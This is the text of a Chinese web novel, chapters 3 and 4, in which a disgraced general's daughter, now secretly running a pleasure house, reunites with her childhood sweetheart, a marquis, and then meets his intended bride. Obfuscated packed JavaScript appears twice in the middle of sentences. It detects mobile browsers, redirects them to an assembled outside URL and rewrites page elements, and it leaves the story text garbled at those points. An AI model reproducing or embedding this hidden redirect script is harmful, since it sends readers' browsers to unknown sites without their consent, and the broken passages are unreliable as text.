《小侯爷白月光是青楼东家》 3. 重逢 孟隐曾在心底里描摹过许多次与霍清晏重逢的光景。 她早已记不得情从何起。 只记得她窗外有一颗青梅树，每年夏初，结的果儿格外诱人，她总会吩咐下人摘上几颗。 她身子不好，不能吃生硬的果子，便送给他吃。 他也总是言笑晏晏地咬下一口，笑着告诉她很好吃。 嘉和十八年，她方才及笄，立在长亭中，目送他随镇边的军队远赴西境。 那时她尚且天真，满心满眼地憧憬着军队大破蛮夷，期盼着来日重逢。 她憧憬着，那一日，她会倚在高阁之上，遥望着他凯旋的模样。 那个少年定是像话本中编撰的少年将军一样，身骑白马、意气飞扬。身前是威风凛凛的老定远侯霍济，与当朝的那位英武非凡的长公主，身后，则跟着自己的兄长孟安。 那之后，西境的鸿雁从未间断，他约莫一两个月就会给孟隐寄来一封书信，随着兄长寄回家的家书送到孟府。 信中讲边境的大漠风卷残沙，讲掉队的孤鸿啼血哀鸣，也讲西征的大军连战连捷、大破敌军。 每收到一封书信，孟隐都觉得，离他和哥哥的归期又近了一分。 三年间，信笺已经积攒了厚厚的一叠，当年孟隐年少懵懂，尚分不明男女之情。如今回头重读，却发觉那信中字字滚烫，方才读懂字里行间，皆是少年人掩藏不住的青涩心动，恨不得把边关的日月星辰悉数摘下，塞进信笺中寄给她。 她后来耐不住心痒，悄悄尝了口青梅果，又酸又涩，明明不好吃，舌尖却悄然捉到几分甜来。 可天有不测风云，战场上形式瞬息万变，老侯爷和长公主中了埋伏，以身殉国的死讯传回京城，西征的军队兵败如山倒，损失惨重，大周连丢了两座边城。 命运半分情面也无，年仅十九岁的霍清晏，连为父母的逝世哀悼的机会都没有，就不得不接过父亲手中的帅印，挑起西征军的家国重担，重整旗鼓。 他们的书信往来，从那日起就戛然而止。 或许是他深陷兵戈无暇落笔，毕竟那些时日，就连兄长寄回家的家书都少了许多。 更有可能是千般心绪交织在一处，剪不断、理还乱，落笔时却不知该如何言说。 战场上分秒必争，生死只在瞬息，孟隐纵有万般惦念，提起笔来，墨水从狼毫笔尖滴落，洇湿了书信，终究没能落下一个字。 那份悄然滋生的，令人心痒的懵懂情谊，最终在烽火狼烟中，被时光渐渐冲淡、沉寂。 蒙尘覆雪。 再后来，朝中数名肱股之臣煞有介事地参父亲贪墨，兄长孟安被一连十二道军令从边境急召回京，抄家时竟真从库房中查出一箱箱炫目的金银。 墙倒众人推，就连父亲为边关筹集粮草的举措，也被歪曲成了贪墨的铁证。 没人知道那几箱金银从何而来。 昔日风光的孟家顷刻没落，朱红的大门贴上雪白的封条，连那株青梅树，都因为碍事而被伐倒。 陛下震怒，又感念孟家昔日为国立下的赫赫战功，最终只罢了官，满门流放北境苦寒之地。 她与这位小侯爷也彻底成了云泥之别。 孟隐没能见过塞外如钩的寒月，没能听过边关苍凉的军号，更无从知晓，这六年光阴，霍清晏在那血流漂橹的疆场上，历经了多少次生死、又被磨去了多少少年意气。 眼前的他，与记忆中几乎判若两人，原本白皙的肤色被边关的烈日灼成了小麦色，皮肤也不复少年时的细腻。 他眉眼间凝着化不开的倦色，下巴上覆着一层青黑的胡茬。 物是人非事事休，欲语泪先流。 他们此刻明明咫尺之遥，甚至能看见彼此眼中自己的倒影，两步的距离，竟像是隔着万丈天堑。 霍清晏背脊挺得笔直，目光沉沉落在她的脸上，眼中闪烁着希冀的光，却始终没有先开口。 孟隐垂眸，敛去眼底翻涌的思绪，屈膝道了个标准的万福礼。 “小女子花醉，见过侯爷。” “花醉……花醉。” 霍清晏反复呢喃咀嚼着这两个字，他伸手扯出了桌旁的椅子，示意孟隐坐下。 他左手的指尖摩挲着青瓷茶杯，杯壁被热茶灼得烫手，他却恍若未觉。 沙哑的嗓音带着几分说不清的叹惋。 “满堂花醉三千客，是个好名字……很适合你。” 孟隐没敢落座。 在商人地位低微的大周国，纵使她名下产业众多，终究脱不开商人身份的桎梏，哪有资格与功高震主的霍清晏平起平坐？ “坐吧。”霍清晏轻轻拍了拍椅面，目光落在他手上缠着的绷带的手心上。 “你……受伤了？” “劳侯爷关心，都是些皮外伤，不妨事。” 孟隐扯住袖子，将那绷带往袖中藏了藏，应声落座。 她自始至终都不敢去看一眼霍清晏的眼睛。 一来，是怕眼底露出一丝破绽和慌乱被他窥见。 在不知道他的立场之前，她只能是醉春楼的东家花醉，而不该是那个早该在流放途中便零落成泥的孟二小姐。 二来，是为了压下心中那点荒唐的期待。 她竟然在期待霍清晏认出她来。仿佛这样，她就还是那个始终被捧在手掌心的千金之躯，而非背负着满门冤屈，苟延残喘的活死人。 “小女子并非这楼中献艺的姑娘，也不通琴棋、亦不不擅歌舞，若是……怠慢了侯爷，还请您赎罪。” 她垂着睫毛，字字谨慎，更生出几分哀戚来。 “无妨。”霍清晏摆了摆手，用眼神示意红娘子她们一行人离开，几年在边关的磨砺，让他有了几分不怒自威的威严。 红娘子则暗中请示孟隐，直到她微不可察地颔首应允，才躬身带上门。 门阖上发出轻微的叩响，雅间中只余两人的呼吸声，以致于孟隐能听见自己的心跳。 霍清晏微微偏头，目光落在帷幔丝线绣着的纹样，好半晌，才缓缓开口。 “方才听鸨母说，你是这醉春楼的东家。”他喉结滚动，似是恍然。 “啊，前些日子，醉春楼给侯府送过贺礼，恐怕是出于你之手罢。” 孟隐当然记得那份被退回的贺礼，她花了许多心思，什么前朝的文玩字画、西域的琉璃器具、东洋的璀璨明珠。她不清楚霍清晏的喜好，便只能在生母留给她的珍宝中挑些出色的。 可她精心准备的贺礼，最终同百官的贺礼一同，被他原封不动地退了回来。 孟隐该知道的，霍清晏与老侯爷一样，一生两袖清风，刚正不阿，眼里揉不进半点沙子。 可那时，她没有任何手段接近霍清晏，只能病急乱投医，用这最庸俗也不入流的方式，跟风送上贺礼。 “侯爷为大周百姓征战沙场，抛颅洒血，那些只是小女子一些不微不足道的敬意，入不了侯爷的眼。” “祝贺我凯旋得胜？” 霍清晏低低地笑了两声，听不出喜悲。他依旧没有看她，像是在恐惧什么，也像是在期待什么。 “若是早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099053|195678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道，那是你的心意，我一定会收下的。” 孟隐心中狠狠咯噔一声，她向来知道，霍清晏从不是一个轻浮孟浪的男子，更不会对一个萍水相逢的女子，说这般暧昧不清的话。 他定然认出了她，或者说，他在试探她。 她不禁自嘲，无非是她在麻痹自己罢了，若是没有认出，以他的身份，何苦到青楼来亲自寻她？ 霍清晏对她片刻的失态毫无察觉，自顾自说着。 “可惜我来得仓促，没给你准备什么回礼，而且，我怕你看不上那些金银俗物。” “侯爷……”孟隐的手指无意识地摩挲着掌心的绷带，伤口略微的刺痛多少让她的大脑更清醒了些。 她是倾向于相信霍清晏至少不会为难她，一来，霍、孟两家是世交，就算霍清晏如今忠于朝廷，也会顾念两家曾经的情谊，不会对她赶尽杀绝。二来，她一个女子，又疾病缠身，在这个世道本就极容易被看轻。 霍清晏无从得知她满腹的怨怼和翻江倒海的筹谋。 为此，她愿意去赌一次。 正好顺水推舟。 若是博得霍清晏的怜悯，往后也好借着这份情分，慢慢去试探他的立场，摸清他的心思。 孟隐悄悄在桌案下，狠狠拧了一把自己腿上的软肉，尖锐的痛感袭来，眼眶霎时红了一圈，几滴温热的、情真意切的眼泪毫无预兆地从脸上滚落。 她捏着锦衣宽大的袖子，泪水在单薄的袖子上洇湿了一块。 “我如今，只是一个苟且偷生的罪人，又有何颜面面对您呢？” “阿妹！” 这两个字几乎是在瞬间便冲出了霍清晏的喉咙，他伸出手，下意识地想去像孩提时那般攥住她的手腕，指尖都要触碰到她的肌肤时，又意识到此举太过逾矩。 那只手僵在半空，指尖轻颤，显得有些无措，碍于礼法，只好讪讪收回。 “你可知道，方才在楼下遥遥望见你，我只当是我太过悲恸，一时出现了幻觉，这世间怎会有人与你生得八分像？还好……还好你还活着。” 他的声音，出乎意料地带着几分难以掩饰的哽咽。 “你定是受了许多苦，比以前还瘦了许多，阿妹。” 孟隐的大脑飞速运转，心头微微松了口气，看来霍清晏对她还有几分年少时残存的情意。 她本就不是什么惹人艳羡的大家闺秀，她不擅那些阳春白雪的雅艺，生母花容不喜那些花架子，而养父母也从不强迫她学习礼乐，到头来，孟隐唯独对棋艺略通一些皮毛。 再加上去年一场病掏空了她的身子，便是她从父母那继承的绝色容貌，也因为瘦削苍白的病态折损不少。 她能拿得出手的，只有那青梅竹马的旧日情谊而已。 “我侥幸熬过了去岁那场重病。”她以袖掩面轻咳了两声，这身子的孱弱已然不需要伪装。 “或许是托你的福，晏哥哥，连上天都想让我亲眼见见，你凯旋而归的样子。” 孟隐缓缓站起身，情至深处，她自己都分不清到底有几分真情、又是几分假意。 她踱步到窗边，纤纤玉手推开那扇雕花的木窗。 初春的风裹挟着微凉的泥土气，吹拂起她鬓边垂落的乌发，喉头竟然真有些发紧。 “上个月，你返京进宫，被文武百官和满城百姓簇拥着，从这条街上经过，而我就站在这扇窗后，远远望上一眼你的背影。” 她阖上眼，声音轻得几不可闻，却恰巧能字字清晰地落进霍清晏的耳中。“那样，我就已经心满意足了。” 4. 初见李倾倾 “你竟然不是孟伯父的亲生女儿？” 霍清晏脸上满是难以置信的错愕，夹菜的手一顿，银筷停在了半空。 方才，孟隐见窗外天色渐暗，便留了霍清晏在醉春楼用晚膳。 他会这般震惊也属实在情理之中，孟家对孟隐的宠爱，是有目共睹的，含在嘴里怕化了，捧在手心怕摔了，是真真切切的掌上明珠。 便是孟家的独子孟安，都要时常玩笑，只道妹妹才是亲生的，他是捡来的。 “我的生母素来体弱，生下我之后身子更亏空了许多。” 孟隐垂眸，指尖摩挲着汤碗的边沿，目光落在汤羹中飘起的菜叶上，难免陷入了回忆之中。 “我听父亲提起过，昔年父亲还是一名小将，兵败后重伤濒死，是我的生母救了他，才侥幸捡回一条命来。我出生时孱弱不堪，生母便将我托付给孟家夫妇，我也借着这层因缘，得了个将门千金的身份。” 霍清晏显然还没缓过神来，眉头紧蹙，眼中的惊讶更甚几分。 “你的身世，竟有此密辛。” “商人之女，总归比不得忠良之后体面。” 话音刚落，她强扯出一抹浅笑来，笑容中却藏着几分悲意 “否则她……也不会执意要把我送到孟家去。” 言及此处，孟隐神色难免黯然，幽幽一声叹息，眼角又泛起薄红。 “只是我那位母亲，早年亏空了身子，还未到无惑之年，便驾鹤西去，如今，我是彻底无所依靠了。” 霍清晏侧头沉吟，他指尖扣着桌案，在思索着什么，好半晌，方才语气郑重地安慰道。 “陛下定是听信了奸人谗言，孟伯父为大周国戎马一生，鞠躬尽瘁。孟家家风清廉，朝野尽知。怎会做出贪墨军饷这等大逆不道的事情来？阿妹不必忧心，我定会想法子，劝陛下为孟家平反昭雪。” 实际上，孟隐心知肚明，此生恐怕很难见到当今圣上为孟家平冤昭雪。 大周国与西面的梁国交恶已久，边境始终摩擦不断。 前些年，梁国骑兵骤然东下，以迅雷不及掩耳之势夺去大周国数座边城。 彼时大周国刚历经数年天灾，国库空虚，可朝中却外戚干政，佞臣当道，是一副“朱门酒肉臭，路有冻死骨”的光景。 以太后母家的李家为首的主和派极力主张割城议和，而老定远侯则带着朝中半数文武官员力主战守。 孟家即是霍济最得力的左膀右臂。 双方各执一词，争执不下之际，梁国又占了两座城池，在大周境内烧杀抢掠、梁国铁骑罪行罄竹难书。 军队的刀锋直逼大周腹地，一时京城中人人自危。 朝廷不得已，才派霍济带兵镇边。 如今，霍家好不容易把丢失的城池一一收复，朝廷却匆匆忙忙地与梁国议和，甚至不惜重金消灾，又怎会为主战派的孟家父子平反呢？ 只可怜一国百姓，还未从战争中恢复元气，又要面临苛刻的税收。 “雷霆雨露皆是君恩，要怪……也只能怪昔日父亲因政见不合树敌太多，陛下愿意留我们一条性命，我们已是感激不尽。” 她勾起一抹牵强的笑容来，纤长的睫羽轻轻颤动，目光却在偷摸瞄着霍清晏的神色。 “我那段时日搬到京郊生母留给我的别苑养病，孟家事发后，孟家谎称我已病故，才侥幸逃过一劫，若非如此，以我这幅破败的身子骨，怕是要死在那千里流放之途中了。” 霍清晏眼中闪过完全不加掩饰的动容，他眸光微沉，语气中满是痛惜。 “阿妹，休要这样说，孟家世代忠良，若最终落得这样的下场，岂不是要让朝中忠臣良将人人自危？此事，我断然不会坐视不理。” 孟隐脸上始终挂着那一抹浅笑，闻言，那笑容看着也舒缓了些，她淡淡松了一口气。 “还是晏哥哥想得周全，我今晚便拟一封家书，将晏哥哥的话写进信中，寄到北境去，也好让家人得以安心。” 屋内陷入一阵静默，桌旁的熏香升起袅袅的淡烟，浓烈却不显得甜腻，那香气几乎掩盖了食物的鲜香，使人心神都安定了不少。 “倒是你，现在这般颓唐的模样，若是侯爷和长公主殿下在天有灵，怕是要忧心的。” 孟隐将一块卖相最佳的好肉夹起，轻轻放到霍清晏碗中，语气带着几分嗔怪，却满是深深的关切。 “你也要照顾好自己才是，怎的几年不见，瞧着竟然比我这个常年卧病的人还憔悴。” 这般举动，虽略有逾矩，却因为这旧日的情谊，不但不惹人反感，反倒能让人生出几分暖意来。 霍清晏想来也是察觉到了自己如今的形象确实不大好，他抬手摸了摸自己下巴上的胡茬，他耳根微红，连带着浓浓的黑眼圈的眼睛都亮了几分，羞赧地笑了笑。 “阿妹教训的是，今后绝不会再让阿妹看了笑话。” 这顿饭终究没能吃得安稳，不多时，门口便响起了红娘子略显急促的脚步，紧接着三声扣门声，她刻意压低了的声音透过门缝传来。 “东家，侯府的下人来醉春楼寻侯爷，说是……说是陛下听闻侯爷驾临醉春楼的消息，特地让李姑娘给您带了几个美姬送去侯府。” 霍清晏的脸色当即沉了下去，光是提到这桩婚事，眼里便是化不开的沉郁。 皇帝这婚赐得确实匆忙，按律，霍清晏父母同丧，本就因军务无法守丧。 如今才刚出三年的孝期，霍清晏以尽孝道为由拒婚合情合理。 按大周律例，当朝官员是不允许逛青楼的，不过当朝鲜有人追究，尤其醉春楼这种艺伎楼，向来都属于灰色地带，朝廷向来睁一只眼闭一只眼。 因此，这件事可大可小，而霍清晏风光无限，这点小事不值得朝廷当众下他的面子。 他才方才到醉春楼几个时辰，朝廷就听到了消息，无非是想敲打霍清晏罢了。 比起这个，更让孟隐在意的是李倾倾——她乃是高门贵女，是当朝太后母家的李家女，何必自降身份亲自送美姬到未婚夫府上。 甚至还不算未婚夫，毕竟霍清晏拒了婚事。 孟隐多少生出些感慨来，表面风光无限的京城第一才女，说到底，也只是朝廷的一枚棋子，霍清晏尚且有反抗的底气，而她身不由己。 不仅要受着被拒婚的羞辱，还要卑躬屈膝地给原本的未婚夫送美人。 不过，说到底她们立场相悖，如今的她可没有多余的心力去同情李倾倾，但她确实想亲眼见一见这位传闻中的李姑娘。 再者，方才她见映秋眼神始终闪烁，似乎隐瞒了什么，想来定是与李倾倾有关。 “晏哥哥，我能否与你同归？” 孟隐起身，双手叠在胸紧紧攥着衣襟。 “我知道这个请求有些唐突，可伯父伯母生前对我百般疼爱，他们过世后，我至今没能亲自祭拜，心中实在愧疚难安。” 她说着，用胭脂色的小帕轻轻拭去了眼角的泪水。 这泪水是今日她最情真意切的，霍济与长公主萧秋月确实待她不薄，想起二老的慈爱，她难免伤怀。 霍清晏却没有一口应允孟隐的请求，沉吟片刻后才道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099054|195678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “阿妹，你要与我同归，又不愿暴露你东家的身份，势必会被误认为花楼的清倌人，这……于你名声不利。” “你的身份实在不好再来我这风月之地，我怕错过了这次机会，下次与你见面又是遥遥无期！” 孟隐急忙上前一步，伸手要去拉霍清晏的袖子，手指堪堪触碰到他的袖角，又匆匆收回。 她垂下头，面色还有些病态的苍白，只有被死死咬着的唇上尚有些血色。 “我如今早已不是什么将门千金，本就是戴罪之身，名节于我而言，不过是无用的枷锁罢了。” 霍清晏终究没有拗过孟隐的坚持，她甚至没有时间更衣，依旧一身青衣素簪，脸上未施半点粉黛，倒不是她只偏爱这素雅清淡。 相反的，她其实很喜欢那珠光宝翠和绫罗锦缎，可因着幼时时长卧床休息，她总觉得过于花哨繁琐瞧着久了眼晕。 侯府的布置，比起孟隐记忆中几乎没什么变化，以前她身子不好，唯有每逢年节时会被父母带来侯府走动。 每每离开时，二老都要拿出些金银首饰、亦或是哪里寻来的名贵补品，一股脑地全塞给她。 大周世交间，常有指腹为婚的习俗。虽然两家始终没有真正定下明文婚约，嘴上念着还是要看孩子们自己的意思才好。 可按礼法，男女该授受不亲。两家却有意让霍清晏与她这个闺阁女子接触，想来彼此都有此意。本就是世交，若是再结秦晋之好，自当是一桩美谈。 他二人两小无猜，虽然始终没有捅破窗户纸，但也彼此之间的感情，不说郎情妾意，也绝对算不上清白。 如今想来，霍济与萧秋月二老，恐怕是自打她儿时便将她当做准儿媳去疼爱的。 孟隐定了定心神，甩开这纷杂的思绪。 多想无益，还是先着眼当下为妙。 直到亲眼见了那位李姑娘，孟隐才知道，外界传说并非浪得虚传。 那女子比孟隐还要小上一些，看着十七八的模样，却生得杏眼桃腮、粉面朱唇，绯红的面颊上还带着少女的娇俏可人，却比同龄人看着端方沉稳得多。 她身着绛紫色锦衣绣金华服，尽显雍容华贵。墨发间插着一支做工精妙的点翠步摇，走起路来却只有底下的两枚金珠微微晃动，不见半分轻浮，端得是一副名门闺秀的模样。 这般从容得体的体态，别说孟隐这般未曾刻意被规培过的女子，便是京中其他的的名门闺秀，也大都自愧不如。 李倾倾的目光先是落在霍清晏的脸上，只是淡淡一扫，随即又瞥向他身后的孟隐。 她眼中闪过一丝不易察觉的惊愕之色，随即便是一抹了然，又将其飞速掩进眼底，缓缓起身，规规矩矩地行了一个万福礼。 声音温柔悦耳，既不疏离，也不显得过分热络。 “李倾倾见过侯爷。” 她身后的几位美姬，早在霍清晏踏进屋内时，便齐刷刷跪倒了一片。 那些女子服色各异、环肥燕瘦、不说是国色天香，也称得上花容月貌，姿容婀娜，却在这样的女子面前纷纷失了颜色。 一时之间，满屋都飘着淡淡的脂粉香气，馥郁浓艳，却又因为李倾倾的存在而不显得俗气，衬得青衣素面的孟隐愈发素净寒碜。 饶是见过无数美人的孟隐，都忍不住悄悄掀开眼皮多看了几眼。 李倾倾说话间，目光却有意无意落在孟隐身上流连。 “免礼吧。”霍清晏神色淡然，他随手拉出一把椅子，听不出喜怒，但大体上还算客套。“还请李姑娘替我多谢陛下美意。”